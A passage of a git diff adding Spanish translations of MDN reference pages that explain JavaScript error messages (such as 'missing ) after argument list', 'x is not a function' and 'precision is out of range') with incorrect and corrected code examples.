+<h2 id="¿Qué_salió_mal"><span class="tlid-translation translation" lang="es"><span title="">¿Qué salió mal?</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Hay un constructor <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function"><code>Function()</code> </a>con al menos dos argumentos pasados en el código.</span> <span title="">El último argumento es el código fuente de la nueva función que está creando.</span> <span title="">Todo lo demás forma la lista de argumentos de su nueva función.</span><br>
+ <br>
+ <span title="">La lista de argumentos no es válida de alguna manera.</span> <span title="">Quizás eligió accidentalmente una palabra clave como <code>if</code> o <code>var</code> como nombre de argumento, o tal vez haya algún signo de puntuación en su lista de argumentos.</span> <span title="">O tal vez accidentalmente pasó un valor no válido, como un número u objeto.</span></span></p>
+
+<h2 id="OK_eso_solucionó_mi_problema._Pero_¿Por_qué_no_dijiste_eso_en_primer_lugar"><span class="tlid-translation translation" lang="es"><span title="">OK, eso solucionó mi problema.</span> <span title="">Pero, ¿Por qué no dijiste eso en primer lugar?</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Es cierto que la redacción del mensaje de error es un poco extraña.</span> <span title="">El "parámetro formal" es una forma elegante de decir "argumento de función".</span> <span title="">Y usamos la palabra "malformada" porque todos los ingenieros de Firefox son grandes admiradores de las novelas de terror góticas del siglo XIX.</span></span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_no_validos">Casos no validos</h3>
+
+<pre class="brush: js example-bad">var f = Function('x y', 'return x + y;');
+// SyntaxError (<span class="tlid-translation translation" lang="es"><span title="">Falta una coma</span></span>)
+
+var f = Function('x,', 'return x;');
+// SyntaxError (Coma extraña)
+
+var f = Function(37, "alert('OK')");
+// SyntaxError (Números no pueden ser nombres de argumentos)
+</pre>
+
+<h3 id="Casos_validos">Casos validos</h3>
+
+<pre class="brush: js example-good">var f = Function('x, y', 'return x + y;');  // Correctamente puntuado
+
+var f = Function('x', 'return x;');
+
+// Si puede, evite usar Function - Esto es mucho más rápido
+var f = function(x) { return x; };
+</pre>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Sobre functions</a></li>
+ <li><a href="https://www.gutenberg.org/ebooks/84"><em>Frankenstein</em> por Mary Wollstonecraft Shelley, texto completo en línea</a> <span class="tlid-translation translation" lang="es"><span title="">("Maldito (aunque me maldiga a mí mismo) ¡sé las manos que te formaron! Me has hecho miserable más allá de toda expresión. No me has dejado ningún poder para considerar si soy justo para ti o no. ¡Fuera! Aléjame de la vista de tu</span> <span title="">forma detestada ")</span></span></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/es/web/javascript/reference/errors/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..b846b70c9f
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/missing_curly_after_property_list/index.html
@@ -0,0 +1,47 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after property list
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="¿Que_estuvo_mal">¿Que estuvo mal?</h2>
+
+<p>Es un error de sinaxis en algún lugar en el <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Prodría provocarse debido a la falta de una llave, pero, por ejemplo tambien por falta de alguna coma. Tambien verifique si alguna llave o parentesis se encuentra en el orden correcto. Indentar o darle un buen formato al codido puede ayudarlo a observar mejor el error.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Olvido_de_coma">Olvido de coma</h3>
+
+<p>Algunas veces, hace faltan las comas en codigo inicial del proyecto, he aquí un ejemplo:</p>
+
+<pre class="brush: js example-bad">var obj = {
+  a: 1,
+  b: { myProp: 2 }
+  c: 3
+};
+</pre>
+
+<p>La correción podría ser:</p>
+
+<pre class="brush: js example-good">var obj = {
+  a: 1,
+  b: { myProp: 2 },
+  c: 3
+};
+</pre>
+
+<h2 id="Observe_Tambien">Observe Tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/missing_formal_parameter/index.html b/files/es/web/javascript/reference/errors/missing_formal_parameter/index.html
new file mode 100644
index 0000000000..8ea7e3684a
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/missing_formal_parameter/index.html
@@ -0,0 +1,75 @@
+---
+title: 'SyntaxError: missing formal parameter'
+slug: Web/JavaScript/Reference/Errors/Missing_formal_parameter
+translation_of: Web/JavaScript/Reference/Errors/Missing_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: missing formal parameter (Firefox)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="¿Que_es_lo_que_fue_mal">¿Que es lo que fue mal?</h2>
+
+<p>"Formal parameter" es una forma adornada de decir "parámetro de función". Tu declaración de funcion carece de parámetros válidos. En la declaración de la función, los parámetros deben ser {{Glossary("Identifier", "identifiers")}}, no ningún valor cómo números, cadenas, o objetos. Declarar las funciones y invocarlas son dos pasos distindos. La declaración sólo requiere identificador/es. Es en la invocación que asignas los valores.</p>
+
+<p>En {{glossary("JavaScript")}}, los indentificadosres sólo pueden contener carácteres alfanuméricos (o "$" y "_"), no pueden comenzar por número. Un identificador difiere de una <strong>cadena</strong> en que la cadena son datos, mientras que lo primero es parte del código.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Los parámetros de función deben ser identificadores cuando creas la función. Todas estas declaraciones fallan, ya que proveen parámetros:</p>
+
+<pre class="brush: js example-bad highlight:[1,6,11]">function square(3) {
+  return number * number;
+};
+// SyntaxError: missing formal parameter
+
+function greet("Howdy") {
+  return greeting;
+};
+// SyntaxError: missing formal parameter
+
+function log({ obj: "value"}) {
+  console.log(arg)
+};
+// SyntaxError: missing formal parameter
+</pre>
+
+<p>Necesitarás usar identificadores en las funciones:</p>
+
+<pre class="brush: js example-good highlight:[1,5,9]">function square(number) {
+  return number * number;
+};
+
+function greet(greeting) {
+  return greeting;
+};
+
+function log(arg) {
+  console.log(arg)
+};</pre>
+
+<p>Entonces podrás invocarlas con argumentos a tu gusto:</p>
+
+<pre class="brush: js">square(2); // 4
+
+greet("Howdy"); // "Howdy"
+
+log({obj: "value"}); // Object { obj: "value" }
+</pre>
+
+<h2 id="También_interesante">También interesante</h2>
+
+<ul>
+ <li>Otros errores relacionados con parámetros formales:
+  <ul>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Malformed_formal_parameter">SyntaxError: Malformed formal parameter</a></li>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Redeclared_parameter">SyntaxError: redeclaration of formal parameter "x"</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/es/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..4b72369e87
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,51 @@
+---
+title: 'SyntaxError: missing ) after argument list'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after argument list
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="¿Cuál_es_el_problema">¿Cuál es el problema?</h2>
+
+<p>Hay un error en cómo la función es llamada. Esto puede ser un typo, la falta de un operador, o un string no escapado, por ejemplo.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Debido a que no se encuentra el operador "<code>+</code>" para concatenar el string, JavaScript espera que el argumento de la función <code>log</code> sea solo <code>"PI: "</code>. En tal caso, debería terminar con el paréntesis de cierre.</p>
+
+<pre class="brush: js example-bad">console.log('PI: ' Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>Puedes corregir la llamada del <code>log</code>, agregando el operador "<code>+</code>":</p>
+
+<pre class="brush: js example-good">console.log('PI: ' + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+
+
+<h3 id="Strings_sin_cierre">Strings sin cierre</h3>
+
+<pre class="brush: js example-bad">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\");
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>Aquí JavaScript  piensa que tienes <code>);</code> dentro del string y lo ignora, y termina no sabiendo que quisiste utilizar <code>);</code> para cerrar la función <code>console.log</code>. Para solucionar esto, podemos poner un <code>'</code>  después del string "Script":</p>
+
+<pre class="brush: js example-good">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"');
+// '"Java" + "Script" = "JavaScript"'</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Guide/Funciones">Funciones</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/more_arguments_needed/index.html b/files/es/web/javascript/reference/errors/more_arguments_needed/index.html
new file mode 100644
index 0000000000..fd392c5801
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/more_arguments_needed/index.html
@@ -0,0 +1,51 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Errors/More_arguments_needed
+tags:
+  - Errors
+  - JavaScript
+  - Tipo de Error
+  - TypeError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensage">Mensage</h2>
+
+<pre class="syntaxbox">TypeError: argument is not an Object and is not null (Edge)
+TypeError: Object.create necesita al menos 1 argumento, pero solo only 0 fueron aprovadas.
+TypeError: Object.setPrototypeOf necesita al menos 2 argumentos, pero solo 0 fueron aprovados
+TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="¿Qué_fué_mal">¿Qué fué mal?</h2>
+
+<p>Hay un error con que una funcion es llamada. Más argumentos necesitan ser dados.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El método {{jsxref("Object.create()")}} necesita al menos un argumento y el método {{jsxref("Object.setPrototypeOf()")}} necesita al menos 2 argumentos.</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create necesita al menos 1 argumento, pero ninguno fue aprovad
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 1 were passed
+</pre>
+
+<p>Puedes arreglar esto configurando {{jsxref("null")}} como el prototipo, por ejemplo:</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Funciones</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/no_variable_name/index.html b/files/es/web/javascript/reference/errors/no_variable_name/index.html
new file mode 100644
index 0000000000..4ff3b8090e
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/no_variable_name/index.html
@@ -0,0 +1,83 @@
+---
+title: 'SyntaxError: missing variable name'
+slug: Web/JavaScript/Reference/Errors/No_variable_name
+tags:
+  - Error
+  - Error de sintaxis
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/No_variable_name
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)</pre>
+
+<h2 id="Error">Error </h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="¿Qué_anda_mal">¿Qué anda mal?</h2>
+
+<p>Una variable no tiene nombre. Esto es un error recurrente en el código. Probablemente una coma está mal colocada en algún lugar o nombraste mal una variable. Completamente entendible. Nombrar cosas es difícil.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Missing_a_variable_name">Missing a variable name</h3>
+
+<pre class="brush: js example-bad">var = "foo";
+</pre>
+
+<p>Es bueno nombrar buenas variables. Todos hemos estado así.</p>
+
+<pre class="brush: js example-good">var ohGodWhy = "foo";</pre>
+
+<h3 id="Palabras_reservadas_no_pueden_ser_nombre_de_variables">Palabras reservadas no pueden ser nombre de variables</h3>
+
+<p>Hay algunas palabras que son reservadas. No puedes usarlas para nombrar variables, lo siento :(</p>
+
+<pre class="brush: js example-bad">var debugger = "whoop";
+// SyntaxError: missing variable name
+</pre>
+
+<h3 id="Declarar_multiples_variables">Declarar multiples variables</h3>
+
+<p>Toma especial atención a las comas cuando declaras multiples variables. ¿Hay un exceso de comas? ¿Accidentalmente añadiste comas en vez de punto y coma? </p>
+
+<pre class="brush: js example-bad">var x, y = "foo",
+var x, = "foo"
+
+var first = document.getElementById('one'),
+var second = document.getElementById('two'),
+
+// SyntaxError: missing variable name
+</pre>
+
+<p>La versión arreglada:</p>
+
+<pre class="brush: js example-good">var x, y = "foo";
+var x = "foo";
+
+var first = document.getElementById('one');
+var second = document.getElementById('two');</pre>
+
+<h3 id="Arrays">Arrays</h3>
+
+<p>{{jsxref("Array")}} literales en JavaScript necesitan corchetes alrededor de los valores. Esto no funciona:</p>
+
+<pre class="brush: js example-bad">var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+</pre>
+
+<p>Esto es correcto:</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3,4,5];</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Good variable names</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Variable declarations in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/not_a_codepoint/index.html b/files/es/web/javascript/reference/errors/not_a_codepoint/index.html
new file mode 100644
index 0000000000..0c89773f6b
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -0,0 +1,51 @@
+---
+title: 'RangeError: argument is not a valid code point'
+slug: Web/JavaScript/Reference/Errors/Not_a_codepoint
+translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="¿Qué_estuvo_mal">¿Qué estuvo mal?</h2>
+
+<p>El metodo {{jsxref("String.fromCodePoint()")}} acepta solamente <em><strong>code point</strong></em> validos.</p>
+
+<p>Un <a href="https://en.wikipedia.org/wiki/Code_point">code point</a> es un valor en el conjunto de caracteres <a href="/es/docs/">Unicode</a>; esto es, un rango de enteros que va desde <code>0</code> a <code>0x10FFFF</code>.</p>
+
+<p>Usando valores {{jsxref("NaN")}}, enteros negativos (<code>-1</code>), no enteros (<code>3.14</code>), o valores mayores a <code>0x10FFFF</code> (<code>1114111</code>) no trabajarian con este metodo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_invalidos">Casos invalidos</h3>
+
+<pre class="brush: js example-bad">String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError</pre>
+
+<h3 id="Casos_validos">Casos validos</h3>
+
+<pre class="brush: js example-good">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="Observe_tambien">Observe tambien</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/not_a_function/index.html b/files/es/web/javascript/reference/errors/not_a_function/index.html
new file mode 100644
index 0000000000..7d1987cc64
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/not_a_function/index.html
@@ -0,0 +1,124 @@
+---
+title: 'TypeError: "x" is not a function'
+slug: Web/JavaScript/Reference/Errors/Not_a_function
+tags:
+  - Error
+  - ErrorDeTipo
+  - JavaScript
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Not_a_function
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a function
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>Se ha intentado llamar a un elemento o valor como si fuera una función, pero no lo era. El código esperaba que hubiera una función implementada, pero no la ha encontrado.</p>
+
+<p>¿Está bien escrito el nombre de la función?¿El objeto sobre el que estás haciendo la llamada tiene ese método implementado realmente? Por ejemplo, los objetos tipo Array tienen implementada la función map, pero el resto de tipos no la tienen.</p>
+
+<p>Hay muchas funciones propias de Javascript (built-in) que necesitan una función de callback, por lo que tienes que pasar esa función como parámetro para que estos métodos funcionen correctamente.</p>
+
+<ul>
+ <li>Cuando se usen objetos {{jsxref("Array")}} o {{jsxref("TypedArray")}}:
+  <ul>
+   <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li>
+  </ul>
+ </li>
+ <li>Cuando se usen objetos {{jsxref("Map")}} y {{jsxref("Set")}}:
+  <ul>
+   <li>{{jsxref("Map.prototype.forEach()")}} y {{jsxref("Set.prototype.forEach()")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Nombre_de_la_función_mal_escrito">Nombre de la función mal escrito</h3>
+
+<p>En este caso, que ocurre con mucha frecuencia, el nombre de la función está mal escrito:</p>
+
+<pre class="brush: js example-bad">var x = document.getElementByID("foo");
+// TypeError: document.getElementByID is not a function
+</pre>
+
+<p>El nombre correcto de la función es <code>getElementByI<strong>d</strong></code>:</p>
+
+<pre class="brush: js example-good">var x = document.getElementById("foo");
+</pre>
+
+<h3 id="Función_llamada_en_el_objeto_equivocado">Función llamada en el objeto equivocado</h3>
+
+<p>Puede que el método que queramos usar no esté implementado en el tipo de objeto que estemos usado. En este ejemplo, queremos usar el método map, que recibe una función de callback como argumento, pero solo lo tienen los objetos {{jsxref("Array")}}.</p>
+
+<pre class="brush: js example-bad">var obj = { a: 13, b: 37, c: 42 };
+
+obj.map(function(num) {
+  return num * 2;
+});
+
+// TypeError: obj.map is not a function</pre>
+
+<p>Como obj es un diccionario (parejas clave/valor), no tiene método map y se produce el error. Para evitarlo, hay que usar un {{jsxref("Array")}}:</p>
+
+<pre class="brush: js example-good">var numeros = [1, 4, 9];
+
+numeros.map(function(num) {
+  return num * 2;
+});
+
+// Array [ 2, 8, 18 ]
+</pre>
+
+<h3 id="La_función_comparte_un_nombre_con_una_propiedad_preexistente">La función comparte un nombre con una propiedad preexistente</h3>
+
+<p>A veces, al hacer una clase, puede tener una propiedad y una función con el mismo nombre. Al llamar a la función, el compilador piensa que la función deja de existir.</p>
+
+<pre class="brush: js example-bad">var Perro = function () {
+ this.edad = 11;
+ this.color = "negro";
+ this.nombre = "Rafael";
+ return this;
+}
+
+Perro.prototype.nombre = function(nombre) {
+ this.nombre = nombre;
+ return this;
+}
+
+
+var miNuevoPerro = new Perro();
+miNuevoPerro.nombre("Lilly"); //Uncaught TypeError: myNewDog.name is not a function
+</pre>
+
+<p>Utilice un nombre de propiedad diferente en su lugar:</p>
+
+<pre class="brush: js example-good">var Perro = function () {
+ this.edad = 11;
+ this.color = "negro";
+ this.nombrePerro = "Rafael"; //Usando this.nombrePerro en vez de .nombre
+ return this;
+}
+
+Perro.prototype.nombre = function(nombre) {
+ this.nombrePerro = nombre;
+ return this;
+}
+
+
+var miNuevoPerro = new Perro();
+miNuevoPerro.nombre("Lilly"); //Perro { edad: 11, color: 'negro', nombrePerro: 'Lilly' }</pre>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/not_defined/index.html b/files/es/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..4166d131ca
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,67 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+tags:
+  - Error
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<pre class="syntaxbox notranslate">ReferenceError: "x" no está definida.</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("ReferenceError")}}</p>
+
+<h2 id="¿Qué_está_mal">¿Qué está mal?</h2>
+
+<p>Hay una variable no existente que está siendo referida en algún lugar. Esta variable necesita ser declarada o se debe comprobar su disponibilidad en el {{Glossary("ámbito")}} actual del script.</p>
+
+<div class="note">
+<p><strong>Nota: </strong> Cuando una librería es cargada (como por ejemplo  jQuery) asegúrese de que se haya cargado antes de intentar acceder a sus variables, como por ejemplo "$". Ponga la etiqueta {{HTMLElement("script")}}, que carga la librería antes del código que la utiliza.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Variable_no_declarada">Variable no declarada</h3>
+
+<pre class="brush: js example-bad notranslate">foo.substring(1); // ReferenceError: foo no está declarada.
+</pre>
+
+<p>La variable "foo" no está declarada en ninguna parte. La variable debe ser alguna cadena para que el método {{jsxref("String.prototype.substring()")}} funcione correctamente.</p>
+
+<pre class="brush: js example-good notranslate">var foo = "bar";
+foo.substring(1); // "ar"</pre>
+
+<h3 id="Contexto_erróneo">Contexto erróneo</h3>
+
+<p>Una variable necesita estar disponible en el contexto actual de ejecución. No se puede acceder a las variables definidas dentro de una <a href="/es/docs/Web/JavaScript/Referencia/Funciones">función</a> desde fuera de dicha función, debido a que la variable está definida solamente dentro de la función.</p>
+
+<pre class="brush: js example-bad notranslate">function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 sin definir.</pre>
+
+<p>Sin embargo, una función puede acceder a todas las variables y funciones definidas dentro del ámbito en la cual ha sido definida. Es decir, una función en el contexto global puede acceder a todas las variables definidas en el contexto global.</p>
+
+<pre class="brush: js example-good notranslate">var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li>{{Glossary("Ámbito")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Guía; declarando variables en JavaScript</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Guía; contexto de la función en Java Script </a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/precision_range/index.html b/files/es/web/javascript/reference/errors/precision_range/index.html
new file mode 100644
index 0000000000..22c37598ff
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/precision_range/index.html
@@ -0,0 +1,96 @@
+---
+title: 'RangeError: precision is out of range'
+slug: Web/JavaScript/Reference/Errors/Precision_range
+translation_of: Web/JavaScript/Reference/Errors/Precision_range
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>The JavaScript exception "precision is out of range" occurs when a number that's outside of the range of 0 and 20 (or 21) was passed into <code>toFixed</code> or <code>toPrecision</code>.</p>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox notranslate">RangeError: The number of fractional digits is out of range (Edge)
+RangeError: The precision is out of range (Edge)
+RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Que_salió_mal">Que salió mal?</h2>
+
+<p>Fué un argumento preciso fuera de rango en uno de estos metodos:</p>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
+
+<p>El rango permitido para estos metodos usualmente esta entre 0 o 20 (o 21). De todas formas la <span><span>especificación</span></span>  ECMAScript permite extender este rango.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Firefox (SpiderMonkey)</th>
+   <th scope="col">Chrome, Opera (V8)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.prototype.toExponential()")}}</td>
+   <td>0 to 100</td>
+   <td>0 to 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toFixed()")}}</td>
+   <td>-20 to 100</td>
+   <td>0 to 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toPrecision()")}}</td>
+   <td>1 to 100</td>
+   <td>1 to 21</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Casos_no_validos">Casos no validos</h3>
+
+<pre class="brush: js example-bad notranslate">77.1234.toExponential(-1);  // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100);         // RangeError
+2.34.toFixed(1001);         // RangeError
+
+1234.5.toPrecision(-1);     // RangeError
+1234.5.toPrecision(101);    // RangeError
+</pre>
+
+<h3 id="Casos_validos">Casos validos</h3>
+
+<pre class="brush: js example-good notranslate">77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+</pre>
+
+<h2 id="También_te_puede_interesar">También te puede interesar:</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/property_access_denied/index.html b/files/es/web/javascript/reference/errors/property_access_denied/index.html
new file mode 100644
index 0000000000..1df56e4c5b
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/property_access_denied/index.html
@@ -0,0 +1,46 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Errors/Property_access_denied
+tags:
+  - Error
+  - JavaScript
+  - Seguridad
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">Error: Permission denied to access property "x"</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("Error")}}.</p>
+
+<h2 id="¿Cuál_es_el_problema">¿Cuál es el problema?</h2>
+
+<p><span class="seoSummary">Se ha intentado acceder a un objeto al cual no tienes permiso. Probablemente es un elemento {{HTMLElement("iframe")}} cargado de otro dominio en el cual violaste la <a href="/en-US/docs/Web/Security/Same-origin_policy">política del mismo origen</a>.</span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+    &lt;script&gt;
+      onload = function() {
+        console.log(frames[0].document);
+        // Error: Permission denied to access property "document"
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
